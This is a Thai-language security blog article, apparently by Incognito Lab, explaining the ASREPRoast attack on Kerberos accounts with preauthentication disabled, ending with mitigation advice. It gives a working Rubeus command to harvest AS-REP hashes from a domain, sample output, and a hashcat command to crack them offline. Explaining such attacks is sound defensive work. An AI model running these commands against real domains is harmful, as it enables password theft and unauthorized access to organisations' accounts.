
ASREPRoast Attack
Incognito Lab
ASREPRoast Attack เป็นวิธีการโจมตีโดยนำ message ที่ได้จาก step ของ TGT Reply หรือ AS_REP มาทำ offline attack เพื่อหา password ของ account ที่สนใจ
ลองดูรูปแบบปกติ TGT Reply จะถูกตอบกลับก็ต่อเมื่อ มีการส่ง TGT Request อย่างถูกต้องออกไปเท่านั้นซึ่งผู้ส่งต้องรู้ password ของ account นั้น ๆ เท่านั้นถึงจะส่งไปแล้ว KDC จึงตอบกลับมาด้วย TGT ของ account คนเดียวกัน ทำให้ attacker ไม่สามารถจะโจมตี account ใด ๆ ตามใจได้ โดยค่า enc(timestamp,hash_of_password) จะถูกเรียกว่า Kerberos Preauthentication

Asreproast attack
โดยปกติแล้ว Kerberos Preauthentication จะถูก enable โดย default แต่หากมี admin ซี้ซั้วตั้งค่าโดยไม่ตั้งใจตามภาพจะทำให้โจมตีด้วย ASREPRoast ได้

Settings
ASREPRoast Attack สามารถโจมตีได้โดยไม่จำเป็นต้องรู้ credential ของ domain accountใด ๆ เลย ดังนั้นหากมี misconfiguration ตามภาพจะสามารถทำ ASREPRoast ได้
Attack Methods
tools ในการโจมตีมีตัวเลือกเยอะ จึงขอเลือก tools ที่ทางผู้เขียนเคยใช้เป็นหลัก
- ใช้ PowEnum เลือก mode เป็น Roasting จะสามารถหา hash จาก Kerberoasting และ ASREPRoasting ได้
- ใช้ Rubeus (https://github.com/GhostPack/Rubeus) เป็น tool ที่พัฒนาโดยอาศัย idea จาก project kekeo (https://github.com/gentilkiwi/kekeo) ของ Benjamin Delpy (คนเดียวกันกับคนสร้าง mimikatz) ที่ต้อง reinvent the wheel ก็เพราะว่า kekeo ใช้ commercial library ในการจัดการกับ Kerberos ASN.1 structures ทำให้ไม่สะดวกเวลาใช้งานจึงมีการทำ Rubeus ขึ้นมา
ให้ทำการ download และ build Rubeus ขึ้นมาหลังจากนั้นก็ใช้งานโดยให้อยู่ใน local network ของ domain environment นั้น ๆ (ไม่จำเป็นต้อง join domain) จากนั้น run คำสั่ง
> Rubeus.exe asreproast /outfile:out.txt /format:hashcat /domain:demodomain.local

Rubeus
Action: AS-REP roasting
Target Domain : demodomain.local
SamAccountName : tbob
DistinguishedName : CN=tbob,OU=TUsers,DC=demodomain,DC=local
Using domain controller: demodomain.local (192.168.100.10)
Building AS-REQ (w/o preauth) for: 'demodomain.local\\tbob'
AS-REQ w/o preauth successful!
Hash written to D:\\out.txt
Roasted hashes written to : D:\\out.txt
หากมีการแสดงข้อความ AS-REQ w/o preauth successful! แสดงว่ามี account ที่ disable preauthentication ให้นำ hash ที่ได้ไป offline crack ในลำดับถัดไป
$krb5asrep$23$tbob@demodomain.local:47AC2248725F4E6CE2295C380CXXXXXX$51A78E6C55B42D9EXXXXX....
ให้ดู hash type ของ hashcat ได้จาก https://hashcat.net/wiki/doku.php?id=example%5Fhashes จะพบว่า code คือ 18200 จากนั้นให้ทำ offline crack ด้วย hashcatตาม style, rules, dictionary และเทคนิคตามสะดวก
root@kali# hashcat -r hob064.rule -m 18200 hash1.txt rockyou.txt -o cracked.txt --force
Mitigation
ASREPRoast Attack จะทำได้ต้องอาศัย misconfiguration จาก admin ซึ่งหากไม่เกิด human error ขึ้น preauthentication จะมีอยู่โดย default ดังนั้นวิธีแก้จึงอยู่ที่การหลีกเลี่ยงการ disable preauthentication และหมั่นตรวจสอบการเปลี่ยนแปลงของ configuration ดังกล่าวเป็นประจำ และท้ายที่สุดต้องฝากความหวังไปที่การบังคับใช้ strong password ด้วย
Up Next

ARTICLES
Aug
19
2021
Kerberoasting Attack
Kerberoasting เป็นเทคนิคหนึ่งในการโจมตี Kerberos มีเป้าหมายเพื่อ crack หา Password ของ target service บน Windows Domain
READ MORE

NEWS
Jul
07
2021
Incognito Lab Certified ISO/IEC 27001:2013
เมื่อไม่กี่วันที่ผ่านมานี้ทางเรา Incognito Lab ได้ผ่านการตรวจรับรองและได้รับใบประกาศนียบัตรมาตรฐาน ISO/IEC 27001:2013
READ MORE

ARTICLES
Jun
10
2021
ทำความรู้จัก หลักเกณฑ์การกำกับดูแลและบริหารจัดการความเสี่ยงด้านเทคโนโลยีสารสนเทศ ของบริษัทประกันชีวิตและประกันวินาศภัย พ.ศ. 2563 ตอนที่ 1
ปัจจุบันถือเป็นเรื่องสำคัญอย่างยิ่งสำหรับองค์กรทุกองค์กร ในความพยายามที่จะปฏิบัติกฎหมาย กฎระเบียบ ประกาศ และข้อบังคับต่างๆ ที่ถูกประกาศออกมาและบังคับใช้จากหน่วยงานภาครัฐ
READ MORE